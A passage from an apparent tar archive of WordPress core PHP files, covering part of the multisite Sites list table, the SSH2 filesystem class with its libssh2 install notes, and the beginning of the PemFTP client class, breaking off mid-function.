$blog['blog_id'] . '&msg=' . urlencode( sprintf( __( 'You are about to delete the site %s.' ), $blogname ) ) ), 'confirm') ) . '">' . __( 'Delete' ) . '</a></span>'; } $actions['visit'] = "<span class='view'><a href='" . esc_url( get_home_url( $blog['blog_id'], '/' ) ) . "' rel='permalink'>" . __( 'Visit' ) . '</a></span>'; /** * Filter the action links displayed for each site in the Sites list table. * * The 'Edit', 'Dashboard', 'Delete', and 'Visit' links are displayed by * default for each site. The site's status determines whether to show the * 'Activate' or 'Deactivate' link, 'Unarchive' or 'Archive' links, and * 'Not Spam' or 'Spam' link for each site. * * @since 3.1.0 * * @param array $actions An array of action links to be displayed. * @param int $blog_id The site ID. * @param string $blogname Site path, formatted depending on whether it is a sub-domain * or subdirectory multisite install. */ $actions = apply_filters( 'manage_sites_action_links', array_filter( $actions ), $blog['blog_id'], $blogname ); echo $this->row_actions( $actions ); ?> </td> <?php break; case 'lastupdated': echo "<td class='$column_name column-$column_name'$style>"; if ( 'list' == $mode ) $date = 'Y/m/d'; else $date = 'Y/m/d \<\b\r \/\> g:i:s a'; echo ( $blog['last_updated'] == '0000-00-00 00:00:00' ) ? __( 'Never' ) : mysql2date( $date, $blog['last_updated'] ); ?> </td> <?php break; case 'registered': echo "<td class='$column_name column-$column_name'$style>"; if ( $blog['registered'] == '0000-00-00 00:00:00' ) echo '—'; else echo mysql2date( $date, $blog['registered'] ); ?> </td> <?php break; case 'users': echo "<td class='$column_name column-$column_name'$style>"; $blogusers = get_users( array( 'blog_id' => $blog['blog_id'], 'number' => 6) ); if ( is_array( $blogusers ) ) { $blogusers_warning = ''; if ( count( $blogusers ) > 5 ) { $blogusers = array_slice( $blogusers, 0, 5 ); $blogusers_warning = __( 'Only showing first 5 users.' ) . ' <a href="' . esc_url( network_admin_url( 'site-users.php?id=' . $blog['blog_id'] ) ) . '">' . __( 'More' ) . '</a>'; } foreach ( $blogusers as $user_object ) { echo '<a href="' . esc_url( network_admin_url( 'user-edit.php?user_id=' . $user_object->ID ) ) . '">' . esc_html( $user_object->user_login ) . '</a> '; if ( 'list' != $mode ) echo '( ' . $user_object->user_email . ' )'; echo '<br />'; } if ( $blogusers_warning != '' ) echo '<strong>' . $blogusers_warning . '</strong><br />'; } ?> </td> <?php break; case 'plugins': ?> <?php if ( has_filter( 'wpmublogsaction' ) ) { echo "<td class='$column_name column-$column_name'$style>"; /** * Fires inside the auxiliary 'Actions' column of the Sites list table. * * By default this column is hidden unless something is hooked to the action. * * @since MU * * @param int $blog_id The site ID. */ do_action( 'wpmublogsaction', $blog['blog_id'] ); ?> </td> <?php } break; default: echo "<td class='$column_name column-$column_name'$style>"; /** * Fires for each registered custom column in the Sites list table. * * @since 3.1.0 * * @param string $column_name The name of the column to display. * @param int $blog_id The site ID. */ do_action( 'manage_sites_custom_column', $column_name, $blog['blog_id'] ); echo "</td>"; break; } } ?> </tr> <?php } } } class-wp-filesystem-ssh2.php000077700000026722151514577750012106 0ustar00<?php /** * WordPress Filesystem Class for implementing SSH2 * * To use this class you must follow these steps for PHP 5.2.6+ * * @contrib http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes * * Complie libssh2 (Note: Only 0.14 is officaly working with PHP 5.2.6+ right now, But many users have found the latest versions work) * * cd /usr/src * wget http://surfnet.dl.sourceforge.net/sourceforge/libssh2/libssh2-0.14.tar.gz * tar -zxvf libssh2-0.14.tar.gz * cd libssh2-0.14/ * ./configure * make all install * * Note: Do not leave the directory yet! * * Enter: pecl install -f ssh2 * * Copy the ssh.so file it creates to your PHP Module Directory. * Open up your PHP.INI file and look for where extensions are placed. * Add in your PHP.ini file: extension=ssh2.so * * Restart Apache! * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp exist. * * Note: as of WordPress 2.8, This utilises the PHP5+ function 'stream_get_contents' * * @since 2.7.0 * * @package WordPress * @subpackage Filesystem */ class WP_Filesystem_SSH2 extends WP_Filesystem_Base { var $link = false; var $sftp_link = false; var $keys = false; var $errors = array(); var $options = array(); function __construct($opt='') { $this->method = 'ssh2'; $this->errors = new WP_Error(); //Check if possible to use ssh2 functions. if ( ! extension_loaded('ssh2') ) { $this->errors->add('no_ssh2_ext', __('The ssh2 PHP extension is not available')); return false; } if ( !function_exists('stream_get_contents') ) { $this->errors->add('ssh2_php_requirement', __('The ssh2 PHP extension is available, however, we require the PHP5 function <code>stream_get_contents()</code>')); return false; } // Set defaults: if ( empty($opt['port']) ) $this->options['port'] = 22; else $this->options['port'] = $opt['port']; if ( empty($opt['hostname']) ) $this->errors->add('empty_hostname', __('SSH2 hostname is required')); else $this->options['hostname'] = $opt['hostname']; if ( ! empty($opt['base']) ) $this->wp_base = $opt['base']; // Check if the options provided are OK. if ( !empty ($opt['public_key']) && !empty ($opt['private_key']) ) { $this->options['public_key'] = $opt['public_key']; $this->options['private_key'] = $opt['private_key']; $this->options['hostkey'] = array('hostkey' => 'ssh-rsa'); $this->keys = true; } elseif ( empty ($opt['username']) ) { $this->errors->add('empty_username', __('SSH2 username is required')); } if ( !empty($opt['username']) ) $this->options['username'] = $opt['username']; if ( empty ($opt['password']) ) { if ( !$this->keys ) //password can be blank if we are using keys $this->errors->add('empty_password', __('SSH2 password is required')); } else { $this->options['password'] = $opt['password']; } } function connect() { if ( ! $this->keys ) { $this->link = @ssh2_connect($this->options['hostname'], $this->options['port']); } else { $this->link = @ssh2_connect($this->options['hostname'], $this->options['port'], $this->options['hostkey']); } if ( ! $this->link ) { $this->errors->add('connect', sprintf(__('Failed to connect to SSH2 Server %1$s:%2$s'), $this->options['hostname'], $this->options['port'])); return false; } if ( !$this->keys ) { if ( ! @ssh2_auth_password($this->link, $this->options['username'], $this->options['password']) ) { $this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username'])); return false; } } else { if ( ! @ssh2_auth_pubkey_file($this->link, $this->options['username'], $this->options['public_key'], $this->options['private_key'], $this->options['password'] ) ) { $this->errors->add('auth', sprintf(__('Public and Private keys incorrect for %s'), $this->options['username'])); return false; } } $this->sftp_link = ssh2_sftp($this->link); return true; } function run_command( $command, $returnbool = false) { if ( ! $this->link ) return false; if ( ! ($stream = ssh2_exec($this->link, $command)) ) { $this->errors->add('command', sprintf(__('Unable to perform command: %s'), $command)); } else { stream_set_blocking( $stream, true ); stream_set_timeout( $stream, FS_TIMEOUT ); $data = stream_get_contents( $stream ); fclose( $stream ); if ( $returnbool ) return ( $data === false ) ? false : '' != trim($data); else return $data; } return false; } function get_contents( $file ) { $file = ltrim($file, '/'); return file_get_contents('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function get_contents_array($file) { $file = ltrim($file, '/'); return file('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function put_contents($file, $contents, $mode = false ) { $ret = file_put_contents( 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $file, '/' ), $contents ); if ( $ret !== strlen( $contents ) ) return false; $this->chmod($file, $mode); return true; } function cwd() { $cwd = $this->run_command('pwd'); if ( $cwd ) $cwd = trailingslashit($cwd); return $cwd; } function chdir($dir) { return $this->run_command('cd ' . $dir, true); } function chgrp($file, $group, $recursive = false ) { if ( ! $this->exists($file) ) return false; if ( ! $recursive || ! $this->is_dir($file) ) return $this->run_command(sprintf('chgrp %s %s', escapeshellarg($group), escapeshellarg($file)), true); return $this->run_command(sprintf('chgrp -R %s %s', escapeshellarg($group), escapeshellarg($file)), true); } function chmod($file, $mode = false, $recursive = false) { if ( ! $this->exists($file) ) return false; if ( ! $mode ) { if ( $this->is_file($file) ) $mode = FS_CHMOD_FILE; elseif ( $this->is_dir($file) ) $mode = FS_CHMOD_DIR; else return false; } if ( ! $recursive || ! $this->is_dir($file) ) return $this->run_command(sprintf('chmod %o %s', $mode, escapeshellarg($file)), true); return $this->run_command(sprintf('chmod -R %o %s', $mode, escapeshellarg($file)), true); } /** * Change the ownership of a file / folder. * * @since Unknown * * @param string $file Path to the file. * @param mixed $owner A user name or number. * @param bool $recursive Optional. If set True changes file owner recursivly. Defaults to False. * @return bool Returns true on success or false on failure. */ function chown( $file, $owner, $recursive = false ) { if ( ! $this->exists($file) ) return false; if ( ! $recursive || ! $this->is_dir($file) ) return $this->run_command(sprintf('chown %s %s', escapeshellarg($owner), escapeshellarg($file)), true); return $this->run_command(sprintf('chown -R %s %s', escapeshellarg($owner), escapeshellarg($file)), true); } function owner($file) { $owneruid = @fileowner('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/')); if ( ! $owneruid ) return false; if ( ! function_exists('posix_getpwuid') ) return $owneruid; $ownerarray = posix_getpwuid($owneruid); return $ownerarray['name']; } function getchmod($file) { return substr( decoct( @fileperms( 'ssh2.sftp://' . $this->sftp_link . '/' . ltrim( $file, '/' ) ) ), -3 ); } function group($file) { $gid = @filegroup('ssh2.sftp://' . $this->sftp_link . '/' . ltrim($file, '/')); if ( ! $gid ) return false; if ( ! function_exists('posix_getgrgid') ) return $gid; $grouparray = posix_getgrgid($gid); return $grouparray['name']; } function copy($source, $destination, $overwrite = false, $mode = false) { if ( ! $overwrite && $this->exists($destination) ) return false; $content = $this->get_contents($source); if ( false === $content) return false; return $this->put_contents($destination, $content, $mode); } function move($source, $destination, $overwrite = false) { return @ssh2_sftp_rename($this->link, $source, $destination); } function delete($file, $recursive = false, $type = false) { if ( 'f' == $type || $this->is_file($file) ) return ssh2_sftp_unlink($this->sftp_link, $file); if ( ! $recursive ) return ssh2_sftp_rmdir($this->sftp_link, $file); $filelist = $this->dirlist($file); if ( is_array($filelist) ) { foreach ( $filelist as $filename => $fileinfo) { $this->delete($file . '/' . $filename, $recursive, $fileinfo['type']); } } return ssh2_sftp_rmdir($this->sftp_link, $file); } function exists($file) { $file = ltrim($file, '/'); return file_exists('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function is_file($file) { $file = ltrim($file, '/'); return is_file('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function is_dir($path) { $path = ltrim($path, '/'); return is_dir('ssh2.sftp://' . $this->sftp_link . '/' . $path); } function is_readable($file) { $file = ltrim($file, '/'); return is_readable('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function is_writable($file) { $file = ltrim($file, '/'); return is_writable('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function atime($file) { $file = ltrim($file, '/'); return fileatime('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function mtime($file) { $file = ltrim($file, '/'); return filemtime('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function size($file) { $file = ltrim($file, '/'); return filesize('ssh2.sftp://' . $this->sftp_link . '/' . $file); } function touch($file, $time = 0, $atime = 0) { //Not implemented. } function mkdir($path, $chmod = false, $chown = false, $chgrp = false) { $path = untrailingslashit($path); if ( empty($path) ) return false; if ( ! $chmod ) $chmod = FS_CHMOD_DIR; if ( ! ssh2_sftp_mkdir($this->sftp_link, $path, $chmod, true) ) return false; if ( $chown ) $this->chown($path, $chown); if ( $chgrp ) $this->chgrp($path, $chgrp); return true; } function rmdir($path, $recursive = false) { return $this->delete($path, $recursive); } function dirlist($path, $include_hidden = true, $recursive = false) { if ( $this->is_file($path) ) { $limit_file = basename($path); $path = dirname($path); } else { $limit_file = false; } if ( ! $this->is_dir($path) ) return false; $ret = array(); $dir = @dir('ssh2.sftp://' . $this->sftp_link .'/' . ltrim($path, '/') ); if ( ! $dir ) return false; while (false !== ($entry = $dir->read()) ) { $struc = array(); $struc['name'] = $entry; if ( '.' == $struc['name'] || '..' == $struc['name'] ) continue; //Do not care about these folders. if ( ! $include_hidden && '.' == $struc['name'][0] ) continue; if ( $limit_file && $struc['name'] != $limit_file ) continue; $struc['perms'] = $this->gethchmod($path.'/'.$entry); $struc['permsn'] = $this->getnumchmodfromh($struc['perms']); $struc['number'] = false; $struc['owner'] = $this->owner($path.'/'.$entry); $struc['group'] = $this->group($path.'/'.$entry); $struc['size'] = $this->size($path.'/'.$entry); $struc['lastmodunix']= $this->mtime($path.'/'.$entry); $struc['lastmod'] = date('M j',$struc['lastmodunix']); $struc['time'] = date('h:i:s',$struc['lastmodunix']); $struc['type'] = $this->is_dir($path.'/'.$entry) ? 'd' : 'f'; if ( 'd' == $struc['type'] ) { if ( $recursive ) $struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive); else $struc['files'] = array(); } $ret[ $struc['name'] ] = $struc; } $dir->close(); unset($dir); return $ret; } } class-ftp.php000077700000064342151514577750007212 0ustar00<?php /** * PemFTP - A Ftp implementation in pure PHP * * @package PemFTP * @since 2.5 * * @version 1.0 * @copyright Alexey Dotsenko * @author Alexey Dotsenko * @link http://www.phpclasses.org/browse/package/1743.html Site * @license LGPL http://www.opensource.org/licenses/lgpl-license.html */ /** * Defines the newline characters, if not defined already. * * This can be redefined. * * @since 2.5 * @var string */ if(!defined('CRLF')) define('CRLF',"\r\n"); /** * Sets whatever to autodetect ASCII mode. * * This can be redefined. * * @since 2.5 * @var int */ if(!defined("FTP_AUTOASCII")) define("FTP_AUTOASCII", -1); /** * * This can be redefined. * @since 2.5 * @var int */ if(!defined("FTP_BINARY")) define("FTP_BINARY", 1); /** * * This can be redefined. * @since 2.5 * @var int */ if(!defined("FTP_ASCII")) define("FTP_ASCII", 0); /** * Whether to force FTP. * * This can be redefined. * * @since 2.5 * @var bool */ if(!defined('FTP_FORCE')) define('FTP_FORCE', true); /** * @since 2.5 * @var string */ define('FTP_OS_Unix','u'); /** * @since 2.5 * @var string */ define('FTP_OS_Windows','w'); /** * @since 2.5 * @var string */ define('FTP_OS_Mac','m'); /** * PemFTP base class * */ class ftp_base { /* Public variables */ var $LocalEcho; var $Verbose; var $OS_local; var $OS_remote; /* Private variables */ var $_lastaction; var $_errors; var $_type; var $_umask; var $_timeout; var $_passive; var $_host; var $_fullhost; var $_port; var $_datahost; var $_dataport; var $_ftp_control_sock; var $_ftp_data_sock; var $_ftp_temp_sock; var $_ftp_buff_size; var $_login; var $_password; var $_connected; var $_ready; var $_code; var $_message; var $_can_restore; var $_port_available; var $_curtype; var $_features; var $_error_array; var $AuthorizedTransferMode; var $OS_FullName; var $_eol_code; var $AutoAsciiExt; /* Constructor */ function ftp_base($port_mode=FALSE) { $this->__construct($port_mode); } function __construct($port_mode=FALSE, $verb=FALSE, $le=FALSE) { $this->LocalEcho=$le; $this->Verbose=$verb; $this->_lastaction=NULL; $this->_error_array=array(); $this->_eol_code=array(FTP_OS_Unix=>"\n", FTP_OS_Mac=>"\r", FTP_OS_Windows=>"\r\n"); $this->AuthorizedTransferMode=array(FTP_AUTOASCII, FTP_ASCII, FTP_BINARY); $this->OS_FullName=array(FTP_OS_Unix => 'UNIX', FTP_OS_Windows => 'WINDOWS', FTP_OS_Mac => 'MACOS'); $this->AutoAsciiExt=array("ASP","BAT","C","CPP","CSS","CSV","JS","H","HTM","HTML","SHTML","INI","LOG","PHP3","PHTML","PL","PERL","SH","SQL","TXT"); $this->_port_available=($port_mode==TRUE); $this->SendMSG("Staring FTP client class".($this->_port_available?"":" without PORT mode support")); $this->_connected=FALSE; $this->_ready=FALSE; $this->_can_restore=FALSE; $this->_code=0; $this->_message=""; $this->_ftp_buff_size=4096; $this->_curtype=NULL; $this->SetUmask(0022); $this->SetType(FTP_AUTOASCII); $this->SetTimeout(30); $this->Passive(!$this->_port_available); $this->_login="anonymous"; $this->_password="anon@ftp.com"; $this->_features=array(); $this->OS_local=FTP_OS_Unix; $this->OS_remote=FTP_OS_Unix; $this->features=array(); if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->OS_local=FTP_OS_Windows; elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'MAC') $this->OS_local=FTP_OS_Mac; } // <!-- --------------------------------------------------------------------------------------- --> // <!-- Public functions --> // <!-- --------------------------------------------------------------------------------------- --> function parselisting($line) { $is_windows = ($this->OS_remote == FTP_OS_Windows); if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/",$line,$lucifer)) { $b = array(); if ($lucifer[3]<70) { $lucifer[3]+=2000; } else { $lucifer[3]+=1900; } // 4digit year fix $b['isdir'] = ($lucifer[7]=="<DIR>"); if ( $b['isdir'] ) $b['type'] = 'd'; else $b['type'] = 'f'; $b['size'] = $lucifer[7]; $b['month'] = $lucifer[1]; $b['day'] = $lucifer[2]; $b['year'] = $lucifer[3]; $b['hour'] = $lucifer[4]; $b['minute'] = $lucifer[5]; $b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]); $b['am/pm'] = $lucifer[6]; $b['name'] = $lucifer[8]; } else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) { //echo $line."\n"; $lcount=count($lucifer); if ($lcount<8) return ''; $b = array(); $b['isdir'] = $lucifer[0]{0} === "d"; $b['islink'] = $lucifer[0]{0} === "l"; if ( $b['isdir'] ) $b['type'] = 'd'; elseif ( $b['islink'] ) $b['type'] = 'l'; else $b['type'] = 'f'; $b['perms'] = $lucifer[0]; $b['number'] = $lucifer[1]; $b['owner'] = $lucifer[2]; $b['group'] = $lucifer[3]; $b['size'] = $lucifer[4]; if ($lcount==8) { sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']); sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']); $b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']); $b['name'] = $lucifer[7]; } else { $b['month'] = $lucifer[5]; $b['day'] = $lucifer[6]; if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) { $b['year'] = date("Y"); $b['hour'] = $l2[1]; $b['minute'] = $l2[2]; } else { $b['year'] = $lucifer[7]; $b['hour'] = 0; $b['minute'] = 0; } $b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute'])); $b['name'] = $lucifer[8]; } } return $b; } function SendMSG($message = "", $crlf=true) { if ($this->Verbose) { echo $message.($crlf?CRLF:""); flush(); } return TRUE; } function SetType($mode=FTP_AUTOASCII) { if(!in_array($mode, $this->AuthorizedTransferMode)) { $this->SendMSG("Wrong type"); return FALSE; } $this->_type=$mode; $this->SendMSG("Transfer type: ".($this->_type==FTP_BINARY?"binary":($this->_type==FTP_ASCII?"ASCII":"auto ASCII") ) ); return TRUE; } function _settype($mode=FTP_ASCII) { if($this->_ready) { if($mode==FTP_BINARY) { if($this->_curtype!=FTP_BINARY) { if(!$this->_exec("TYPE I", "SetType")) return FALSE; $this->_curtype=FTP_BINARY; } } elseif($this->_curtype!=FTP_ASCII) { if(!$this->_exec("TYPE A", "SetType")) return FALSE; $this->_curtype=FTP_ASCII; } } else return FALSE; return TRUE; } function Passive($pasv=NULL) { if(is_null($pasv)) $this->_passive=!$this->_passive; else $this->_passive=$pasv; if(!$this->_port_available and !$this->_passive) { $this->SendMSG("Only passive connections available!"); $this->_passive=TRUE; return FALSE; } $this->SendMSG("Passive mode ".($this->_passive?"on":"off")); return TRUE; } function SetServer($host, $port=21, $reconnect=true) { if(!is_long($port)) { $this->verbose=true; $this->SendMSG("Incorrect port syntax"); return FALSE; } else { $ip=@gethostbyname($host); $dns=@gethostbyaddr($host); if(!$ip) $ip=$host; if(!$dns) $dns=$host; // Validate the IPAddress PHP4 returns -1 for invalid, PHP5 false // -1 === "255.255.255.255" which is the broadcast address which is also going to be invalid $ipaslong = ip2long($ip); if ( ($ipaslong == false) || ($ipaslong === -1) ) { $this->SendMSG("Wrong host name/address \"".$host."\""); return FALSE; } $this->_host=$ip; $this->_fullhost=$dns; $this->_port=$port; $this->_dataport=$port-1; } $this->SendMSG("Host \"".$this->_fullhost."(".$this->_host."):".$this->_port."\""); if($reconnect){ if($this->_connected) { $this->SendMSG("Reconnecting"); if(!$this->quit(FTP_FORCE)) return FALSE; if(!$this->connect()) return FALSE; } } return TRUE; } function SetUmask($umask=0022) { $this->_umask=$umask; umask($this->_umask); $this->SendMSG("UMASK 0".decoct($this->_umask)); return TRUE; } function SetTimeout($timeout=30) { $this->_timeout=$timeout; $this->SendMSG("Timeout ".$this->_timeout); if($this->_connected) if(!$this->_settimeout($this->_ftp_control_sock)) return FALSE; return TRUE; } function connect($server=NULL) { if(!empty($server)) { if(!$this->SetServer($server)) return false; } if($this->_ready) return true; $this->SendMsg('Local OS : '.$this->OS_FullName[$this->OS_local]); if(!($this->_ftp_control_sock = $this->_connect($this->_host, $this->_port))) { $this->SendMSG("Error : Cannot connect to remote host \"".$this->_fullhost." :".$this->_port."\""); return FALSE; } $this->SendMSG("Connected to remote host \"".$this->_fullhost.":".$this->_port."\". Waiting for greeting."); do { if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; $this->_lastaction=time(); } while($this->_code<200); $this->_ready=true; $syst=$this->systype(); if(!$syst) $this->SendMSG("Can't detect remote OS"); else { if(preg_match("/win|dos|novell/i", $syst[0])) $this->OS_remote=FTP_OS_Windows; elseif(preg_match("/os/i", $syst[0])) $this->OS_remote=FTP_OS_Mac; elseif(preg_match("/(li|u)nix/i", $syst[0])) $this->OS_remote=FTP_OS_Unix; else $this->OS_remote=FTP_OS_Mac; $this->SendMSG("Remote OS: ".$this->OS_FullName[$this->OS_remote]); } if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled"); else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features))); return TRUE; } function quit($force=false) { if($this->_ready) { if(!$this->_exec("QUIT") and !$force) return FALSE; if(!$this->_checkCode() and !$force) return FALSE; $this->_ready=false; $this->SendMSG("Session finished"); } $this->_quit(); return TRUE; } function login($user=NULL, $pass=NULL) { if(!is_null($user)) $this->_login=$user; else $this->_login="anonymous"; if(!is_null($pass)) $this->_password=$pass; else $this->_password="anon@anon.com"; if(!$this->_exec("USER ".$this->_login, "login")) return FALSE; if(!$this->_checkCode()) return FALSE; if($this->_code!=230) { if(!$this->_exec((($this->_code==331)?"PASS ":"ACCT ").$this->_password, "login")) return FALSE; if(!$this->_checkCode()) return FALSE; } $this->SendMSG("Authentication succeeded"); if(empty($this->_features)) { if(!$this->features()) $this->SendMSG("Can't get features list. All supported - disabled"); else $this->SendMSG("Supported features: ".implode(", ", array_keys($this->_features))); } return TRUE; } function pwd() { if(!$this->_exec("PWD", "pwd")) return FALSE; if(!$this->_checkCode()) return FALSE; return ereg_replace("^[0-9]{3} \"(.+)\".+", "\\1", $this->_message); } function cdup() { if(!$this->_exec("CDUP", "cdup")) return FALSE; if(!$this->_checkCode()) return FALSE; return true; } function chdir($pathname) { if(!$this->_exec("CWD ".$pathname, "chdir")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function rmdir($pathname) { if(!$this->_exec("RMD ".$pathname, "rmdir")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function mkdir($pathname) { if(!$this->_exec("MKD ".$pathname, "mkdir")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function rename($from, $to) { if(!$this->_exec("RNFR ".$from, "rename")) return FALSE; if(!$this->_checkCode()) return FALSE; if($this->_code==350) { if(!$this->_exec("RNTO ".$to, "rename")) return FALSE; if(!$this->_checkCode()) return FALSE; } else return FALSE; return TRUE; } function filesize($pathname) { if(!isset($this->_features["SIZE"])) { $this->PushError("filesize", "not supported by server"); return FALSE; } if(!$this->_exec("SIZE ".$pathname, "filesize")) return FALSE; if(!$this->_checkCode()) return FALSE; return ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message); } function abort() { if(!$this->_exec("ABOR", "abort")) return FALSE; if(!$this->_checkCode()) { if($this->_code!=426) return FALSE; if(!$this->_readmsg("abort")) return FALSE; if(!$this->_checkCode()) return FALSE; } return true; } function mdtm($pathname) { if(!isset($this->_features["MDTM"])) { $this->PushError("mdtm", "not supported by server"); return FALSE; } if(!$this->_exec("MDTM ".$pathname, "mdtm")) return FALSE; if(!$this->_checkCode()) return FALSE; $mdtm = ereg_replace("^[0-9]{3} ([0-9]+)".CRLF, "\\1", $this->_message); $date = sscanf($mdtm, "%4d%2d%2d%2d%2d%2d"); $timestamp = mktime($date[3], $date[4], $date[5], $date[1], $date[2], $date[0]); return $timestamp; } function systype() { if(!$this->_exec("SYST", "systype")) return FALSE; if(!$this->_checkCode()) return FALSE; $DATA = explode(" ", $this->_message); return array($DATA[1], $DATA[3]); } function delete($pathname) { if(!$this->_exec("DELE ".$pathname, "delete")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function site($command, $fnction="site") { if(!$this->_exec("SITE ".$command, $fnction)) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function chmod($pathname, $mode) { if(!$this->site( sprintf('CHMOD %o %s', $mode, $pathname), "chmod")) return FALSE; return TRUE; } function restore($from) { if(!isset($this->_features["REST"])) { $this->PushError("restore", "not supported by server"); return FALSE; } if($this->_curtype!=FTP_BINARY) { $this->PushError("restore", "can't restore in ASCII mode"); return FALSE; } if(!$this->_exec("REST ".$from, "resore")) return FALSE; if(!$this->_checkCode()) return FALSE; return TRUE; } function features() { if(!$this->_exec("FEAT", "features")) return FALSE; if(!$this->_checkCode()) return FALSE; $f=preg_split("/[".CRLF."]+/", preg_replace("/[0-9]{3}[ -].*[".CRLF."]+/", "", $this->_message), -1, PREG_SPLIT_NO_EMPTY); $this->_features=array(); foreach($f as $k=>$v) { $v=explode(" ", trim($v)); $this->_features[array_shift($v)]=$v; } return true; } function rawlist($pathname="", $arg="") { return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "LIST", "rawlist"); } function nlist($pathname="") { return $this->_list(($arg?" ".$arg:"").($pathname?" ".$pathname:""), "NLST", "nlist"); } function is_exists($pathname) { return $this->file_exists($pathname); } function file_exists($pathname) { $exists=true; if(!$this->_exec("RNFR ".$pathname, "rename")) $exists=FALSE; else { if(!$this->_checkCode()) $exists=FALSE; $this->abort(); } if($exists) $this->SendMSG("Remote file ".$pathname." exists"); else $this->SendMSG("Remote file ".$pathname." does not exist"); return $exists; } function fget($fp, $remotefile,$rest=0) { if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($remotefile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("RETR ".$remotefile, "get")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $out=$this->_data_read($mode, $fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $out; } function get($remotefile, $localfile=NULL, $rest=0) { if(is_null($localfile)) $localfile=$remotefile; if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten"); $fp = @fopen($localfile, "w"); if (!$fp) { $this->PushError("get","can't open local file", "Cannot create \"".$localfile."\""); return FALSE; } if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($remotefile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { fclose($fp); return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("RETR ".$remotefile, "get")) { $this->_data_close(); fclose($fp); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); fclose($fp); return FALSE; } $out=$this->_data_read($mode, $fp); fclose($fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $out; } function fput($remotefile, $fp) { if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($remotefile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("STOR ".$remotefile, "put")) { $this->_data_close(); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); return FALSE; } $ret=$this->_data_write($mode, $fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $ret; } function put($localfile, $remotefile=NULL, $rest=0) { if(is_null($remotefile)) $remotefile=$localfile; if (!file_exists($localfile)) { $this->PushError("put","can't open local file", "No such file or directory \"".$localfile."\""); return FALSE; } $fp = @fopen($localfile, "r"); if (!$fp) { $this->PushError("put","can't open local file", "Cannot read file \"".$localfile."\""); return FALSE; } if($this->_can_restore and $rest!=0) fseek($fp, $rest); $pi=pathinfo($localfile); if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII; else $mode=FTP_BINARY; if(!$this->_data_prepare($mode)) { fclose($fp); return FALSE; } if($this->_can_restore and $rest!=0) $this->restore($rest); if(!$this->_exec("STOR ".$remotefile, "put")) { $this->_data_close(); fclose($fp); return FALSE; } if(!$this->_checkCode()) { $this->_data_close(); fclose($fp); return FALSE; } $ret=$this->_data_write($mode, $fp); fclose($fp); $this->_data_close(); if(!$this->_readmsg()) return FALSE; if(!$this->_checkCode()) return FALSE; return $ret; } function mput($local=".", $remote=NULL, $continious=false) 